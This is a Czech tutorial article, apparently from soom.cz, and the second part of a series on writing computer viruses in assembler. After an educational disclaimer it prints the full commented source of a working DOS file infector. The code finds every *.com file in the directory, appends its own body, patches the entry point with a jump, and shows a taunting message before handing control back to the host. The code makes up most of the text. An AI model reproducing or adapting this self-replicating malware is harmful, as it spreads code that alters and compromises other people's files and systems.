Assembler 3
Jak naprogramovat jednoduchý vir (2)
!!!! Upozornění !!!!
Tento text je určen k učebním účelům.
(tj. K lepšímu pochopení zadané problematiky.)
Autor článku ani SOOM.CZ NENESE zodpovědnost za škody
vzniklé v souvislosti s tímto článkem!!
Tento článek rozhodně nemá za cíl nabádat vás k nějaké nezákonné, nebo nemorální činnosti!!
Jak naprogramovat jednoduchý vir (2)
V tomto seriálu se dozvíte, jak dělat v assembleru jednoduché viry. V tomto díle se konečně setkáme s primitivním, avšak fungujícím virem.
Pro zvládnutí článku předpokládám alespoň základní znalost assembleru a znalost obsahu prvního dílu seriálu. Také se budou hodit nějaké obecné vědomosti o virech.
A nyní již slibovaný vir. Jedná se o můj vir D-primitive_nice, upravený kód podobného charakteru. Jedná se o jednorázový souborový nepřepisující vir, který infikuje všechny soubory *.com v adresáři, ve kterém je spuštěn. Vir nejdříve najde vhodný *.com v adresáři, zálohuje prvních několik bytů, přepíše je jumpem na konec programu. Tam pak zapíše vlastní tělo viru včetně oněch několika zálohovaných počátečních bytů. Takový zavirovaný program poté po spuštění skočí hnedka na tělo viru, vykoná ho a poté v paměti zkopíruje zálohované byty na původní místo a skočí na ně a vykoná původní program.
Zde je okomentovaný zdrojový kód:
ORG 100h | ; bez tohohle by to opět nešlo | |
jmp @start | ; skoč na start | |
db 0FFh | ; aby měl i infektor jiných 5 bytů | |
db 'DM' | ; značka, že jde o injektor (brání několikanásobné infekci, u skutečného viru by bylo řešeno lépe) | |
@start: | mov ax,4E00h | ; fce najdi první soubor |
mov dx,@com | ; adresa názvu souboru (v našem případě *.com) | |
int 21h | ; přerušení Funkce DOSu | |
jc @konec | ; pokud CF=1, vyskytla se chyba nebo nebyl žádný soubor nalezen -> skoč na konec | |
jmp @otevri | ; jinak skoč na otevírání souboru | |
@dalsi: | mov ax,4F00h | ; fce najdi další soubor |
mov dx,80h | ; adresa implicitní DTA | |
int 21h | ||
jc @konec | ||
@otevri: | mov ax,3D12h | ; fce otevři soubor |
mov dx,009Eh | ; adresa jména nalezeného souboru v DTA | |
int 21h | ||
jc @zavri | ; pokud chyba, zavři soubor | |
mov [cs:@handle],ax | ; ulož handle souboru | |
mov ax,3F00h | ; fce čti ze souboru (načteme prvních 5 bytů) | |
mov bx,[cs:@handle] | ; handle | |
mov dx,@c_old5b | ; adresa našeho bufferu pro data | |
mov cx,0005h | ; kolik bytů se bude číst | |
int 21h | ||
jc @zavri | ||
cmp word [cs:@c_old5b+3],'DP' | ; pokud je náš soubor již | |
jz @zavri | ; infikovaný | |
cmp word [cs:@c_old5b+3],'DM' | ; nebo infektor | |
jz @zavri | ; -> ukonči infekci | |
mov ax,4202h | ; fce nastav pozici v souboru na konec + CX:DX | |
xor cx,cx | ||
xor dx,dx | ||
int 21h | ||
jc @zavri | ||
sub ax,0003h | ; odečti délku instrukce jmp | |
mov word [cs:@new5b+1],ax | ; ulož velikost relativního skoku | |
mov ax,4000h | ; fce piš do souboru | |
mov cx,@c_konec-@code | ; počet bytů k zápisu | |
mov dx,@code | ; adresa zdroje kopírování | |
int 21h | ||
jc @zavri | ||
mov ax,4200h | ; pozice na začátek + CX:DX (0) | |
xor cx,cx | ||
xor dx,dx | ||
int 21h | ||
jc @zavri | ||
mov ax,4000h | ; přepíšeme prvních 5 bytů souboru | |
mov cx,0005h | ||
mov dx,@new5b | ; adresa bufferu | |
int 21h | ||
@zavri: | mov ax,3E00h | ; fce zavři soubor |
int 21h | ||
jmp @dalsi | ; skoč na hledání dalšího souboru | |
@konec: | int 20h | ; konec |
@com | db '*.com',0 | ; název pro hledání souboru |
@handle | dw 0 | ; buffer pro handle |
@new5b | db 0E9h,0,0,'DP' | ; buffer nových 5 bytů (skok + id infikovaného souboru) |
@code: | mov si,word [cs:0101h] | ; kód kopírovaný do souborů |
add si,0103h | ||
mov ax,0900h | ; fce vypiš text | |
mov dx,si | ; adresa těla viru v souboru | |
add dx,@c_text-@code | ; přičti adresu textu od začátku těla viru | |
int 21h | ||
xor ax,ax | ; čekej dokud nebude stisknuta | |
int 16h | ; klávesa | |
mov di,0100h | ||
add si,@c_old5b-@code | ; adresa starých 5 bytů v souboru | |
movsw | ; zkopíruj 5 bytů zpět na začátek | |
movsw | ||
movsb | ||
push 0100h | ||
ret | ; skoč na začátek souboru | |
@c_old5b | db 0,0,0,0,0 | ; buffer na prvních 5 bytů |
@c_text | db 'This program is mine! Muuhahaha!',13,10,'$' | ; text |
@c_konec: | ; ukazatel na konec souboru |
– pozn.: některé antiviry můžou tento virus označit za virus Trivial (souhrnné označení primitivních virů)
Tak to by bylo pro dnešek asi vše. Tělo viru můžete pro studijní účely upravovat, ovšem na vlastní nebezpečí. Příště zkusíme zkonstruovat podobný virus, který by dokázal infikovat také *.exe soubory.
zdroj soom.cz